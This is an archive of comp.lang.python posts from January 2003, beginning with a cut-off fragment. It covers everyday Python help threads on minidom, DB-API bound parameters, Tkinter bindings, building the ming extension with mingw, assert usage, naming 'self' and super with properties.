of printables including any instance of its own use) quoting mechanism ;-)
(need dynamically defined delimiting)

Regards,
Bengt Richter



From edream at tds.net  Sat Jan 18 17:24:39 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 18 Jan 2003 22:24:39 GMT
Subject: 2.3 a1 idle.py vs. idle.pyw
References: <f7kW9.147252$Hs2.12751896@kent.svc.tds.net> <ogkj2vonelv3bm6e0pp9jcqqvnffr22mua@4ax.com>
Message-ID: <HukW9.147255$Hs2.12754010@kent.svc.tds.net>

> This happens because you have two interpreters, respectively 2.2.2 and
> 2.3a1, and the *.py files are associated with the first and the *.pyw
> files are associated with the second one.
> In a folder just go into "Tools->Folder Options", in "File types", you
> can modify this behaviour there.

Blush.  Thanks for this clarification.

Shouldn't the installer treat both file types the same?

Edward





From henk.derudder at nowayyouneedthis.sciatl.com  Wed Jan 29 09:24:18 2003
From: henk.derudder at nowayyouneedthis.sciatl.com (henk.derudder at nowayyouneedthis.sciatl.com)
Date: Wed, 29 Jan 2003 14:24:18 GMT
Subject: minidom question from a newbie
Message-ID: <3e37e374.774668625@news.skynet.be>

Hi wizards,

I am using minidom from xml.dom. There is a nice method in there:
root = minidom.parse(filename)
which gives me a nice tree of all XML-elements which are in the file
filename. Is there a possibility to go the other way around, i.e. to
have  such a tree structure and save it into an XML-file. If yes, are
there snippets/sample code out there.

Many thanks,

Henk



From gerhard.haering at gmx.de  Tue Jan  7 19:47:34 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: Wed, 8 Jan 2003 01:47:34 +0100
Subject: Help: Omitting quotes from SQL Queries.
In-Reply-To: <20030108001355.GA723@lilith.ghaering.test>
References: <2356598.1041950714@dbforums.com> <aveubs$6pl$1@news-reader12.wanadoo.fr> <20030108001355.GA723@lilith.ghaering.test>
Message-ID: <20030108004733.GA965@lilith.ghaering.test>

* Gerhard H?ring <gerhard.haering at gmx.de> [2003-01-08 01:13 +0100]:
> * Eric Brunel <eric.brunel at pragmadev.com> [2003-01-07 17:20 +0100]:
> > keithk wrote:
> > > Hi All,
> > > 
> > > I am using an mx.ODBC connection [...]

> Use DB-API bound parameters:
> 
>     cursor.execute("""
>         SELECT fileSize FROM database
>         WHERE database.filename = %s
>         """, (fileName,))
 
I believe the parameter placeholder for ODBC is '?' instead of '%'.  To
be sure check the mxODBC docs :)

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/




From mis6 at pitt.edu  Wed Jan  8 09:24:53 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 8 Jan 2003 06:24:53 -0800
Subject: Laura's List - was Re: new years resolutions
References: <mailman.1041872080.15063.python-list@python.org> <2259b0e2.0301070445.698adc9e@posting.google.com>  <200301080357.h083v0jL005109@ratthing-b246.strakt.com> <mailman.1041999800.30291.python-list@python.org>
Message-ID: <2259b0e2.0301080624.572fac26@posting.google.com>

Andrew McGregor <andrew at indranet.co.nz> wrote in message news:<mailman.1041999800.30291.python-list at python.org>...
> You can see the same thing in physics; contrast the notation of classical 
> mechanics with the operator algebra formulation of QM.  Or even the 
> classical vs relativistic notations for relativistic EM.
> 
> I think the driving force is that a clean design takes more typing in Perl, 
> whereas in Python it's usually much, much less.
> 
> Andrew

I understand you are saying "Python has a better syntax than Perl" 
and I have no problem with that. Then you pass to Physics examples and
I am a little confused. Yes, the covariant notation for Maxwell
equations is
better than the nonrelativistic one, but in which sense the
operatorial
formalism is better than classical mechanics formalism ? They are
interely
different field of Physics, they cannot be compared ! Even so, I do
not
understand if you find more elegant the classical or the quantum
notation,
to me they are equally nice in their respective domain of validity.
Of course,if I you speak of relativistic quantum fields, the best
notation
is the functional one.

I-hope-I-have-not-scared-non-physicist-readers-ly yours,

--
Michele Simionato - Dept. of Physics and Astronomy
210 Allen Hall Pittsburgh PA 15260 U.S.A.
Phone: 001-412-624-9041 Fax: 001-412-624-9163
Home-page: http://www.phyast.pitt.edu/~micheles/



From max at alcyone.com  Wed Jan 29 06:35:22 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 03:35:22 -0800
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <200301290028.h0T0SJjL023634@ratthing-b246.strakt.com> <mailman.1043804455.2703.python-list@python.org> <EMOZ9.99217$0v.2876590@news1.tin.it>
Message-ID: <3E37BC7A.D89440F1@alcyone.com>

Alex Martelli wrote:

> Yes, the language really DOES matter -- although it's not the ONLY
> thing that matters, of course, not by a long shot.  Analogy...:

I think you're taking the original poster's comments too far.  The point
is, it's possible to write lousy code in _any_ language, regardless of
how well-thought of it is or thought to be conducive to writing good
code.

There are certainly some languages that promote bad habits right up
front.  Python isn't one of them.  Sure, the choice of language does
play a part, but that doesn't mean that just because you're programming
in Python, that you're writing clean and clear code, anymore than _just
because_ you're writing code in "a language that's traditionally
associated with bad habits" (I won't bother listing any here), that it's
necessarily bad.

> Again, this is like saying that shoes only run as fast as the
> people who wear them.  True, but it DOESN'T follow, by any means,
> that choosing the most appropriate kind of shoes isn't important.

But that's not what he said.  He simply said that even good tools, in
the wrong hands, can be used poorly.  You're taking the analogy to a
completely different level that he certainly never intended.  Bad tools
can be used deftly by competent people.  Even the best tools can be used
poorly by incompetent people.

I think your point is well-taken, but you're polarizing an argument far
beyond what was originally stated.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The color is red / Under my shoe
\__/ Neneh Cherry
    CatCam / http://www.catcam.com/
 What do your pets do all day while you're at work?  Find out.



From tundra at tundraware.com  Thu Jan  9 16:20:06 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: Thu, 09 Jan 2003 15:20:06 -0600
Subject: tkinter: Passing arguments when binding keys to functions
Message-ID: <72pkva.lsr.ln@boundary.tundraware.com>

I have an array of 12 items that I want to associate with the 12 Function
keys.  I want to call a common handler function for all 12 keys and
initialize the bindings to pass an argument to the handler so it
can tell who invoked it.  I've tried something like this, but to no
avail:

for x in range(len(array)):
	y = array[x]	
	widget.bind('<F' + str(x+1) + '>', lambda arg=y : CommonHandler(arg))

Is this general approach valid?

CommonHandler() in my case, happens to be an already existing routine
which is just called as CommonHandler(x, default=TRUE).  It, in turn,
calls os.path.abspath(x).  When this happens, I get the following
error:

       AttributeError: Event instance has no attribute '__getitem__'

This makes me believe that my general approach is correct, but something
about how I am calling the routine from the binding is different than
the normal call I make to CommonHandler.

One other question - is it possible to use the lambda form above to
pass more than a single argument?

TIA,
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From rjones at ekit-inc.com  Thu Jan 30 16:33:11 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Fri, 31 Jan 2003 08:33:11 +1100
Subject: Problem - Gadfly loosing tables.
In-Reply-To: <d257d7e0.0301300851.307634d5@posting.google.com>
References: <d257d7e0.0301300851.307634d5@posting.google.com>
Message-ID: <200301310833.11275.rjones@ekit-inc.com>

On Fri, 31 Jan 2003 3:51 am, joerg wrote:
> I've got some problem using the Gadfly Database:
> Coded a Python program to fill a database from a CSV file.
> The Program works fine. It creates the table and fills in
> the records from the CSV file.
>
> Then I use gfplus and do a select * from the new table.
> Everythings fine.
> But when I start the Program a second time to create another
> table, the previously inserted table is gone!
> The data file is stil there, but a select * from <old_table>
> raises an error: NameError: no such relation in database.
>
> Some ideas about that? I did the connection.commit (), so that
> is not the problem.

I have not seen this before - could you please reduce the problem down to the 
minimum code that is required to reproduce it?


    Richard





From nightdriver at bolt.com  Wed Jan 29 05:15:08 2003
From: nightdriver at bolt.com (nightdriver)
Date: 29 Jan 2003 02:15:08 -0800
Subject: migc.pyd please help me!
Message-ID: <d2810a8.0301290215.68c39ee3@posting.google.com>

I repost because no one reply to me.
========================================

Hi there,
i am in search of a mingc.pyd for the latest windows release of phyton
anybody can point me to url that contain this (or send it to me).

Please help me i've searched to compile the module by myself but under
windows compile with gcc/mingw32 is UGLY.

Thanks,
nightdrv



From max at alcyone.com  Tue Jan 28 19:26:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 28 Jan 2003 16:26:02 -0800
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net> <slrnb3e26l.141.ben@localhost.localdomain>
Message-ID: <3E371F9A.938B2D61@alcyone.com>

Ben Caradoc-Davies wrote:

> My favourite in these circumstances is AssertionError. You can even
> rewrite
> them using the assert keyword.
> 
> assert len(sys.argv) == 2, 'program requires exactly one argument'
> 
> assert len(sometuple) == 3, 'sometuple must have length 3'

If the error discussed here is genuine, assert is not the right way to
handle it.  Asserts can be disabled with the -O option; if someone is
running your script "optimized," execution will continue past the assert
statements where it should have stopped.

Assertions are for making sure things are working the way you think they
are, so you can get a quick failure that you can debug before things
spiral out of control; when not in debug mode, assert statements are
ignored.

They're _not_ for testing fatal errors; those should be handling by
explicitly raising errors other than AssertionError.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Patriotism is the last refuge of a scoundrel.
\__/ Samuel Johnson
    Kepler's laws / http://www.alcyone.com/max/physics/kepler/
 A proof of Kepler's laws.



From maxm at mxm.dk  Tue Jan 21 16:56:38 2003
From: maxm at mxm.dk (Max M)
Date: Tue, 21 Jan 2003 22:56:38 +0100
Subject: Is it advisable to replace 'self' with '_' or 'I' or something
 shorter?
In-Reply-To: <45577133.0301211213.14025e73@posting.google.com>
References: <f57664b9.0301110959.5b1439da@posting.google.com> <45577133.0301211213.14025e73@posting.google.com>
Message-ID: <LkjX9.42022$Hl6.5025112@news010.worldonline.dk>

oofoe wrote:
> Hi!
> 
> jbperez808 at yahoo.com (Jonathan P.) wrote in message news:<f57664b9.0301110959.5b1439da at posting.google.com>...
> 
>>I agree with the fact that explicit use of self is good
>>for code readability, however it tends to make code lines
>>too long.  Since 'self' is just a convention, I wonder if
>>people out there have tried replacing it with a one-character
>>equivalent without encountering any problems.
> 
> 
> I dislike the word 'self' for the method's object argument. It's
> clumsy to say and lends an unwarranted arrogance and formality
> to the method call. I prefer the much more friendly name 'my'.


You are fighting an uphill battle against the windmills here!

Use "self" and get over it ;-)

If you ever want your code to be seen by others, it is a bad idea. Why 
should they read "obfuscated" code? If you ever want to read other 
peoples code, you won't be used to see self. Also a bad idea.

regards Max M


-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From buzzard at urubu.freeserve.co.uk  Sat Jan 18 12:04:04 2003
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Sat, 18 Jan 2003 17:04:04 -0000
Subject: suppressing dos box, os.spawnv()
Message-ID: <b0c1ft$mue$1@newsg1.svr.pol.co.uk>

Firstly I'm not 100% sure I'm using the ideal function, but os.spawnv()
seems to do a decent job of running a single command.  (But how about a
session containing several commands?)  Secondly, I need to suppress the dos
window that momentarily pops up when the following code is executed.  Anyone
know how I can do that?  I'm currently using Windows2000, but my final code
will also have to run under Unix.  Cheers.

Duncan

>>> import os
>>> os.spawnv(os.P_NOWAIT, 'C:\\PROGRA~1\\ATT\\Graphviz\\bin\\dot.exe',
('C:\\PROGRA~1\\ATT\\Graphviz\\bin\\dot.exe', '-Tpng',
'C:\\Python22\\tree.dot', '-o', 'C:\\Python22\\atree.png'))
852
>>>





From max at alcyone.com  Tue Jan 21 20:51:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 17:51:02 -0800
Subject: Is it advisable to replace 'self' with '_' or 'I' or something 
 shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com> <45577133.0301211213.14025e73@posting.google.com> <%bkX9.3474$OI6.2200@nwrddc02.gnilink.net>
Message-ID: <3E2DF906.B4F3FE3B@alcyone.com>

Carl Banks wrote:

> But I always thought "self" was one of those conventions it's best not
> to stray from.

Indeed.  In any programming language, it's always advisable to follow
the coding style that's being used in the code you're editing,
regardless of what that style is (if you don't like the style,
convincing others to change is better than just being maverick).

The use of the identifier `self' for that "self" argument is so
pervasive (see?  We even call it the "self" argument) that it's almost a
perversion to use something else.

Temporarily binding shorter names to long things for convenience is one
thing, and is commendable when appropriate, but seeing anything other
than `self' as the first argument in a standard method is a crime
against nature :-).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Ride / Ride this wave of mine
\__/ Res
    Physics reference / http://www.alcyone.com/max/reference/physics/
 A physics reference.



From gleki at gol.ge  Thu Jan 16 09:08:03 2003
From: gleki at gol.ge (Giorgi Lekishvili)
Date: Thu, 16 Jan 2003 15:08:03 +0100
Subject: Socket communications
References: <b06df6$ls2ug$1@ID-145579.news.dfncis.de>
Message-ID: <3E26BCC3.2DD7089C@gol.ge>

sure.
see http://www.python.org/doc/current/lib/module-socket.html
and
http://www.python.org/doc/current/lib/module-SocketServer.html
GRTZ,
Giorgi

Stefano Covino wrote:

> Dear friends,
>
> I would like to develop an application that requires to open socket
> connections from/to other computers.
>
> Therefore I wonder if you know if there are libraries with some or most of
> the code already developed.
>
> Do you have any suggestion?
>
>         Stefano
>
>




From nightdriver at bolt.com  Thu Jan 30 07:36:06 2003
From: nightdriver at bolt.com (nightdriver)
Date: 30 Jan 2003 04:36:06 -0800
Subject: migc.pyd please help me!
References: <d2810a8.0301290215.68c39ee3@posting.google.com> <slrnb3fusl.1d4.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <d2810a8.0301300436.21a903d3@posting.google.com>

Gerhard MUCHO THANKS !

It works great ! My objective was to run svg2swf.py and it works.

> Anyways, in exchange, could you polish this setup.py a little (add copyright,
> author, author_email and so on fields) and send a patch to the ming maintainer?

did'nt think it is better to send to mantainer the mingc.pyd ??

Again thanks,
nightdrv

Gerhard H?ring <gerhard.haering at opus-gmbh.net> wrote in message news:<slrnb3fusl.1d4.gerhard.haering at haering.opus-gmbh.net>...
> nightdriver <nightdriver at bolt.com> wrote:
> > I repost because no one reply to me.
> 
> Ok, to prevent an endless chain of reposts ... ;-)
> 
> > Hi there,
> > i am in search of a mingc.pyd for the latest windows release of phyton
> > anybody can point me to url that contain this (or send it to me).
> > 
> > Please help me i've searched to compile the module by myself but under
> > windows compile with gcc/mingw32 is UGLY.
> 
> Don't you insult my mingw!!!1 In fact, this is quite easy if you RTFM for
> distutils. No, you don't need to mess with the ming Makefiles *at all*.
> 
> And no, I won't just build a binary and send it to you, because that hasn't
> much pedagogic value :-P
> 
> So here it goes:
> 
> Prerequisites: you've installed mingw toolchain and built the import library
> for Python [1].
> 
> 1) Download and unzip the ming [2] sources
> 2) cd into src/ and do a "make static"
> 3) copy the following distutils setup.py file into py_ext/
> 
> #----------------8<----------------------------------------------------
> from distutils.core import setup
> from distutils.extension import Extension
> 
> setup ( name = "ming",
>         version = "0.2a",
>         description = "A library for creating Shockwave files.",
>         py_modules = ["ming"],
>         ext_modules = [Extension( name='mingc',
>                                   sources=['ming_wrap.c'],
>                                   include_dirs=[".."],
>                                   library_dirs=["../src"],
>                                   libraries=["ming"]
>                                   )]
>         )
> #----------------8<----------------------------------------------------
> 
> 4) cd into py_ext/ and issue "python setup.py build --compiler=mingw32"
> 
> 5) if you want to create an installer, issue "python setup.py bdist_wininst"
> 
> Now you have a Windows installer for the Python ming wrapper under dist. The
> whole thing took me about five minutes, but I confess this isn't the first
> setup.py I hacked.
> 
> But if you want to create a Python extension, crafting your own setup.py is
> always easier than messing with Makefiles.
> 
> Anyways, in exchange, could you polish this setup.py a little (add copyright,
> author, author_email and so on fields) and send a patch to the ming maintainer?
> I myself can't be bothered any longer with this because I don't use ming and am
> not at all interested in Shockwave, Flash and their likes.
> 
> building-ming-with-mingw-ly yours,
> 
> Gerhard
> 
> [1] http://www.python.org/doc/current/inst/non-ms-compilers.html
> [2] http://ming.sf.net/



From op73418 at mail.telepac.pt  Sat Jan  4 18:05:11 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Sat, 04 Jan 2003 23:05:11 +0000
Subject: super and properties
Message-ID: <tspe1vc7ikcg6pv1lvro56sjoqhlrtgn1p@4ax.com>

Suppose I override a property in a subclass,  e.g.

>>> class test(object):
... 	def __init__(self, n):
... 		self.__n = n
... 	def __get_n(self):
... 		return self.__n
... 	def __set_n(self, n):
... 		self.__n = n
... 	n = property(__get_n, __set_n)
... 	
>>> a = test(8)
>>> a.n
8
>>> class test2(test):
... 	def __init__(self, n):
... 		super(test2, self).__init__(n)
... 	def __get_n(self):
... 		return "Got ya!"
... 	n = property(__get_n)
... 	
>>> b = test2(8)
>>> b.n
'Got ya!'

How do I call the super implementation of the n property using super?
The obvious (to me) does not work:

>>> print super(test2, b).n
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
AttributeError: 'super' object has no attribute 'n'

I know I can do

>>> test.n.__get__(b)
8
>>> 

But I do achieve the same using super (for an MI scenario)?

TIA and with my best regards,
G. Rodrigues



From peter at engcorp.com  Mon Jan  6 10:40:57 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 06 Jan 2003 10:40:57 -0500
Subject: a bit off topic
References: <avc2qj$2fq$1@apollon.grec.isp.9tel.net>
Message-ID: <3E19A389.5CDF2883@engcorp.com>

Michel COMBE wrote:
> 
> Newbie to Zope, I would like to know where I can find some help.

Try here:

http://www.zope.org/Resources/MailingLists

-Peter



From clifford.wells at attbi.com  Mon Jan  6 15:46:11 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 06 Jan 2003 12:46:11 -0800
Subject: Python vs .Net
In-Reply-To: <hmiS9.107$4h.14478394@mantis.golden.net>
References: <PxQR9.45$uS3.4626462@mantis.golden.net>
	 <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com>
	 <slrnb1go12.kv8.grante@localhost.localdomain>
	 <pjah1v0g2k0bll013pbmtspmvl6vd67ojn@4ax.com>
	 <mailman.1041828311.29580.python-list@python.org>
	 <hmiS9.107$4h.14478394@mantis.golden.net>
Message-ID: <1041885971.3565.169.camel@x1-6-00-04-5a-64-c4-03>

On Mon, 2003-01-06 at 08:35, Etienne Charland wrote:
> Some work is done to make .NET cross-platform: MONO

Ah, yes.  I'd forgotten about Mono.  Fine, in that case I won't use it
out of stubbornness <wink>.

-- 
Cliff Wells <clifford.wells at attbi.com>





From tjreedy at udel.edu  Tue Jan  7 10:53:53 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 7 Jan 2003 10:53:53 -0500
Subject: Why does this not work?
References: <2355358.1041918087@dbforums.com>
Message-ID: <nKGcnTG0y84kaoejXTWcoQ@comcast.com>

"Tetsuo" <member16943 at dbforums.com> wrote in message
news:2355358.1041918087 at dbforums.com...
>
> You know you suck if the calculator you are making isn't required to
add
> 2 and 2, and you still can't get it to work.

Others have explained that your conditionals are off due to priority
rules.
But the function also neglects to either return the values (best) or
declare the return values global (dubious since it restricts how you
use the function).  Also, using three conditionals is unnecessarily
cumbersome.  Better:

1. Calculate each return bit separately:

def halfadder(a,b):
  if a not in (0,1) or b not in (0,1):
    raise ValueError, 'inputs must be in (0,1)'
  return a&b, a^b

>>> halfadder(1,1)
(1, 0)
>>> halfadder(1,0)
(0, 1)
>>> halfadder(0,1)
(0, 1)
>>> halfadder(0,0)
(0, 0)


2. Use a dict.

halfadderd={(0,0):(0,0), (0,1):(0,1), (1,0):(0,1), (1,1):(1,0)}

>>> halfadderd[1,1]
(1, 0)
>>> halfadderd[1,0]
(0, 1)
>>> halfadderd[0,1]
(0, 1)
>>> halfadderd[0,0]
(0, 0)

Terry J. Reedy





From andymac at bullseye.apana.org.au  Tue Jan 28 06:36:23 2003
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Tue, 28 Jan 2003 21:36:23 +1000 (est)
Subject: Please Recommend a C compiler for use with Python.
In-Reply-To: <3E357391.6BCE1A0C@lvcm.com>
Message-ID: <Pine.OS2.4.44.0301282129500.77-100000@vbull.andymac.org>

[posted & mailed]
On Mon, 27 Jan 2003 zenguyuno at yahoo.com wrote:

> "Martin v. L?wis" wrote:
> >
> > Skip Montanaro wrote:
> > >     z> I use a generic PC running Win 98.  What's a good, Easy-to-use and
> > >     z> install, ANSI C compiler?  I might mention that I mainly want to
> > >     z> extend Python by writing routines in C.
> > >
> > > You might try Cygwin.
> >
> > I'm not so sure that this is a good choice when it comes to extending
> > Python. If the standard Python distribution is to be extended, you
> > really should use MSVC 6 (if you can still get copies of that).
>
> Cygwin requires knowing Unix, right?  I don't know much Unix.
> I do want to extend the standard Python distribution for Windows.

I've successfully used MingW32 (http://www.mingw.org/ IIRC) to build
Python extensions (I used v1.1, based on gcc 2.95.3; v2.0 based on gcc 3.2
is current).

It can take some fiddling to get a usable Python import library, but
google will find docco to help with that.

Regards,
Andrew.

--
andymac at bullseye.apana.org.au
http://www.andymac.org/





From skip at pobox.com  Wed Jan 15 18:13:15 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 15 Jan 2003 17:13:15 -0600
Subject: Switch statements again
In-Reply-To: <1042670767.3e25e4afa12e5@www.progoth.com>
References: <1042670767.3e25e4afa12e5@www.progoth.com>
Message-ID: <15909.60171.389698.723406@montanaro.dyndns.org>

    Steven> I've been reading the claims about doing things a more elegant
    Steven> way in python when it comes to switch statements, using
    Steven> if-elif-else and/or dictionaries of function pointers.  the
    Steven> following can be done with if-elif-else (and that's how I did
    Steven> it), but it sure is ugly.  my question is simply "what's the
    Steven> best way to do this in python?"

If/elif/else remains the most common method.  If Python ever gains something
like a switch statement you can bet the farm it won't have a "fall thru"
feature though, so the way you've coded your C switch statement wouldn't
work.

Skip




From cnetzer at mail.arc.nasa.gov  Wed Jan 15 23:04:28 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 15 Jan 2003 20:04:28 -0800
Subject: python compiler (psyco)
In-Reply-To: <220b6a9d.0301151850.1b3a53c2@posting.google.com>
References: <220b6a9d.0301151850.1b3a53c2@posting.google.com>
Message-ID: <200301160404.UAA14019@mail.arc.nasa.gov>

On Wednesday 15 January 2003 18:50, rjvs wrote:
> Does anyone know if a "native code" compiler is being developed for
> Python?

It works, and it is at:

http://psyco.sourceforge.net/

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From mgarcia at cole-switches.com  Tue Jan  7 20:55:10 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Wed, 08 Jan 2003 01:55:10 GMT
Subject: Too Self Centered
References: <mailman.1041984834.14592.python-list@python.org>
Message-ID: <5qum1vkqcohuitlsh44h993r365k85q380@4ax.com>

Python is very "self" centered! :-)

Your code is correct, and typical of Python.  Python programmers type
"self" a lot.  It is commonly complained about, but after programming
in Python for a while, now I prefer it.

You are not required to read "Style Guide for Python Code; PEP8", but
it is highly recommended:

http://www.python.org/peps/pep-0008.html

You can get rid of some "self"s by using
"x += 1" instead of "x = x + 1"
You use "+=" inconsistently.

Indent more than 1 space, Python uses indentation exclusively to
specify code blocks, so it helps to be able to see indents clearer.
Most people use 4 spaces.  Any coder's text editor will make this easy
for you.

Your program will blow up reading a large file because of your
recursive use of "subsequentRead(self)" and "subsequentLines(self)".
The form of recursion you are using is called "tail-recursion".
Python does not optimize tail-recursion.  Outside of the LISP world,
tail-recursion is not used (and rarely optimized).  A "while" loop
would be better.

Instead of "maketrans" and "translate", just use "replace".

I have no idea what your code is supposed to do, I will guess you wish
to count how many lines in a file, and then turn the newlines into
spaces to turn the multiline file into one long string.

This would be more typical:

# ###################################################### #

f = open('GNU-wordlist.txt').read()

number_lines = 0
if f:
    number_lines = f.count('\n') + 1

f = f.replace('\n',' ')

print """number_lines: %i
length of string f: %i
first 100 characters of f: %s""" % (number_lines, len(f), f[:100])

# ###################################################### #

but really, a file is usually turned into a list of lines, and all
processing done with that list:

# ###################################################### #

import random

s = open('GNU-wordlist.txt').read()

len_s = len(s)

list0 = s.split('\n')

del s

print """length of file: %i
number_lines: %i
20 random words: %s""" % (
    len_s,
    len(list0),
    ' '.join( [ random.choice(list0) for _ in range(20) ] )
    )

# ###################################################### #

Manuel




From max at alcyone.com  Tue Jan 21 21:02:46 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 18:02:46 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com>
Message-ID: <3E2DFBC6.32058F2C@alcyone.com>

Greg Brunet wrote:

> Just as a point of information, I was reading this article about Java
> and the recent ruling that MS must include it in Windows & .NET
> (http://www.salon.com/tech/feature/2003/01/21/java/print.html). It
> had a link to this site (http://www.tiobe.com/tpci.htm) which ranks
> Python as a "B" status language with declining popularity.

I coincidentally just noticed this latter site (the one that ranks
Python as a "B" language with declining popularity), and had probably
the same reaction.  It purports to estimate the rankings based on Google
searches, and turns those results into a "rating," and then assigns a
"status" (A or B) based on, presumably, the value of that rating.

So little information about this rating system is given that I would be
inclined not to give it much weight.  The consideration of HTML and
(particularly) XML as "programming languages," the arbitrary cutoff
between "A" and "B" languages, and the total lack of detail (I admit to
not poring over the site, but I couldn't find any obvious quantitative
information about how these figures are calculated and where the lines
are drawn) leads me to put very little weight into the information
presented there.

They admit to subjective elements being present (to their credit), but
give such heavy-hitting advice as, "Programming languages that have
status 'A' are considered to be mainstream languages. It is strongly
adviced [sic] to stick to those languages for industrial,
mission-critical software systems."  Since we don't know how these
ratings are calculated, and what distinction they've chosen between an
"A" and a "B" language, I find it extremely hard to take this advise
[sic] terribly seriously :-).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Ride / Ride this wave of mine
\__/ Res
    Physics reference / http://www.alcyone.com/max/reference/physics/
 A physics reference.



From thephoenix235 at gmx.net  Thu Jan 30 16:13:28 2003
From: thephoenix235 at gmx.net (Chirayu Krishnappa)
Date: Thu, 30 Jan 2003 13:13:28 -0800
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
Message-ID: <805j3vo0jimcdl8aj0pgfagj7rufm26avp@4ax.com>

Hi,

You've definitely received a lot of responses on how to make it a
general purpose function. 

I'd like to ask how you get these maybe arg or list things in the
first place. i presume they are the result of a function call. do you
have too many such functions? (generally well written function which
might return a list will return a list even for a single element so
you can have uniformly written code. the cgi module's FieldStorage
class' getitem() function is a notable exception.) 

if you find that you need to do this for just a small bunch of
functions - perhaps you could write wrappers for those functions to
always return a list and use them instead.

Chirayu.

On Thu, 30 Jan 2003 14:41:33 +0000, Dale Strickland-Clark
<dale at riverhall.NOTHANKS.co.uk> wrote:

>In many places, often small utility functions, I find myself using the
>form:
>
>lst = maybeAnArg
>if type(lst) not in (list, tuple)
>    lst = [lst]
>for x in lst:
>    whatever
>
>or
>
>lst = maybeAnArg
>if type(lst) not in (list, tuple)
>    lst = [lst]
>mangle = [x for x in lst if whatever]
>
>
>In other words, I want to be able to treat an argument of arbitrary
>type as a list of 1 if it isn't already a list.
>
>Has anyone got a neater way of doing this?
>
>Thanks




From markus_wankus at hotmail.com  Sat Jan 25 11:28:27 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Sat, 25 Jan 2003 11:28:27 -0500
Subject: Printing repeatedly on same line
In-Reply-To: <3e32b8eb$0$156$65c69314@mercury.nildram.net>
References: <mailman.1043508704.13358.python-list@python.org> <3e32b8eb$0$156$65c69314@mercury.nildram.net>
Message-ID: <oprjkddpx98cxiwf@news1.on.sympatico.ca>

Using sys.stdout.write() will work if you do not add your own '\n' to the 
end of it.

Otherwise, add a *comma* to th eprint statement, liek so:

print "Crap",

Markus.

On Sat, 25 Jan 2003 16:18:50 -0000, Andrew Wilkinson 
<ajw126NO at SPAMyork.ac.uk> wrote:

> Jason Morgan wrote:
>> How do I print (stdout) to the same line repeatedly? I want to offer a
>> status bar for a script. I have tried the following:
>>
>> def statprint(s):  # s is a string
>> import sys
>> sys.stdout.write(s+" "*(78-len(s))+"\r")
>>
>> I got this from this ASPN page:
>>
>> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146038
>>
>> which seemed to be refering to Windows (I'm writing for Linux/*BSD). I
>> have tried the above function, but it prints in the same manner as
>> 'print' does.
>>
>>
>> Thanks for the help in advance.
>>
>> Cheers,
>> Jason
>
> Try just adding a semicolon at the end of the print statement.
> For example
>
> print 1,
> print 2
>
> will give you
> 1 2
>
> HTH,
> Andrew Wilkinson



From gradha at terra.es  Wed Jan 22 04:55:36 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Wed, 22 Jan 2003 10:55:36 +0100
Subject: Python use growing or shrinking
In-Reply-To: <oqn0luymwq.fsf@alcyon.progiciels-bpi.ca>
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DD270.8CB2FA4A@engcorp.com> <20030121233331.GA4356@pedos.es> <oqn0luymwq.fsf@alcyon.progiciels-bpi.ca>
Message-ID: <20030122095535.GA25390@pedos.es>

On Tue, Jan 21, 2003 at 08:48:53PM -0500, Francois Pinard wrote:
> [...] Merely print ackerman(4, 4): [...] Sounds easy enough?
> After you publish the answer here, only then should you wander
> into something fundamentally bigger, like Turing machines :-).

Well, I lack the inteligence to understand the algorithm, but it
certainly looks a good way to overflow stacks. The C version is
still running, however, after several hundreds of lines of output,
it looks quite boring.

Ok, I leave the Turing machines for you, I don't want my projects
to have a deadline based on the computing of ackerman(4, 4).




